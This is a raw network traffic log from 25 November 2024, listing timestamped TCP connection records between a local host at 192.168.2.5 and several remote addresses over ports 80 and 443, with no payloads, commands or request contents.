Nov 25, 2024 16:21:36.565269947 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.565438032 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.565515041 CET	49806	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.565697908 CET	49806	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.565711975 CET	443	49806	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.566529036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.566596031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.566679001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.566895962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.568291903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.568361998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.568376064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.568439960 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.569994926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.570051908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.570113897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.570300102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.571696043 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.571803093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.571901083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.571952105 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.573421955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.573508024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.573559046 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.575494051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.575512886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.575632095 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.576852083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.576932907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.576972961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.576998949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.577841043 CET	49815	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.577871084 CET	443	49815	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.578052998 CET	49816	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.578078985 CET	443	49816	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.578088045 CET	49815	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.578191042 CET	49816	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.578334093 CET	49815	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.578346014 CET	443	49815	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.578526974 CET	49816	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:36.578533888 CET	443	49816	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:36.578731060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.578778028 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.578847885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.579121113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.580430984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.580509901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.580517054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.580642939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.582051992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.582124949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.582139015 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.582459927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.583782911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.583837032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.656202078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.656286001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.656306028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.656526089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.657083035 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.657119036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.657164097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.658406973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.658458948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.658483982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.658523083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.660160065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.660211086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.660257101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.661878109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.661973953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.662444115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.663608074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.663664103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.663748026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.663827896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.665290117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.665396929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.665422916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.665438890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.667042017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.667088985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.667176962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.667228937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.668751001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.668808937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.668884039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.668925047 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.670483112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.670648098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.670701981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.672224998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.672276020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.672343969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.673953056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.674006939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.674032927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.674069881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.675632000 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.675754070 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.675820112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.677359104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.677424908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.677433968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.677519083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.679065943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.679130077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.679169893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.679222107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.680938959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.681003094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.681092024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.681138039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.682538033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.682607889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.682626009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.682674885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.684032917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.684092999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.684207916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.684344053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.685396910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.685542107 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.685600996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.686824083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.686943054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.686991930 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.687088013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.688560009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.688652039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.688680887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.688723087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.690956116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.690968990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.691030025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.692545891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.692574978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.692639112 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.693397999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.693440914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.693537951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.693578959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.694324970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.694377899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.694390059 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.694417953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.695271015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.695349932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.695841074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.695976973 CET	49817	443	192.168.2.5	23.44.203.20
Nov 25, 2024 16:21:36.696010113 CET	443	49817	23.44.203.20	192.168.2.5
Nov 25, 2024 16:21:36.696201086 CET	49817	443	192.168.2.5	23.44.203.20
Nov 25, 2024 16:21:36.696711063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.696723938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.696765900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.697066069 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:36.697092056 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:36.697487116 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:36.697520018 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:36.697534084 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:36.697571039 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:36.697850943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.697864056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.697906017 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.698216915 CET	49817	443	192.168.2.5	23.44.203.20
Nov 25, 2024 16:21:36.698229074 CET	443	49817	23.44.203.20	192.168.2.5
Nov 25, 2024 16:21:36.698350906 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:36.698368073 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:36.698451042 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:36.698465109 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:36.699023962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.699096918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.699131012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.699148893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.700376034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.700391054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.700436115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.701572895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.701590061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.701626062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.701644897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.702842951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.702903032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.702961922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.704003096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.704061985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.704090118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.704214096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.705241919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.705288887 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.705324888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.705364943 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.706450939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.706499100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.706640005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.706682920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.707629919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.707648039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.707672119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.707690001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.708870888 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.708945036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.708973885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.708986044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.710103989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.710175037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.710328102 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.710381985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.711288929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.711302042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.711344004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.711357117 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.712526083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.712541103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.712726116 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.713704109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.713797092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.713814974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.713871956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.714907885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.714999914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.715056896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.716094017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.716155052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.716208935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.716248989 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.717363119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.717376947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.717411995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.717426062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.718533039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.718592882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.718655109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.718693018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.719743967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.719810963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.719877005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.719918013 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.720906973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.721014023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.721282959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.722126961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.722173929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.722191095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.722249985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.723437071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.723484993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.723510981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.723568916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.724553108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.724598885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.724663973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.724704027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.725750923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.725902081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.725950956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.726980925 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.727030993 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.727056980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.727149010 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.728188038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.728238106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.728293896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.728334904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.729351997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.729397058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.793318033 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.793663979 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.793855906 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.793886900 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.794056892 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.794075012 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.794441938 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.794881105 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.794933081 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.795101881 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.795167923 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.795648098 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.795710087 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.812796116 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.817203045 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:36.817234039 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.817971945 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:36.817976952 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:36.843724012 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.843750000 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:36.843785048 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:36.848675966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.848784924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.849246979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.849327087 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.849339962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.849379063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.850097895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.850241899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.850270033 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.850285053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.851346970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.851396084 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.851427078 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.851942062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.852440119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.852499008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.852627039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.852669001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.853627920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.853682041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.853707075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.853749990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.854809999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.854887962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.855171919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.855916023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.856591940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.856652021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.857219934 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.857348919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.857399940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.858295918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.858309984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.858695030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.859379053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.859913111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.860009909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.860562086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.860610008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.860887051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.860980988 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.861792088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.861815929 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.861841917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.861866951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.863018990 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.863061905 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.863115072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.863158941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.864188910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.864233971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:36.864238977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:36.864300966 CET	49765	80	192.168.2.5	185.215.113.206
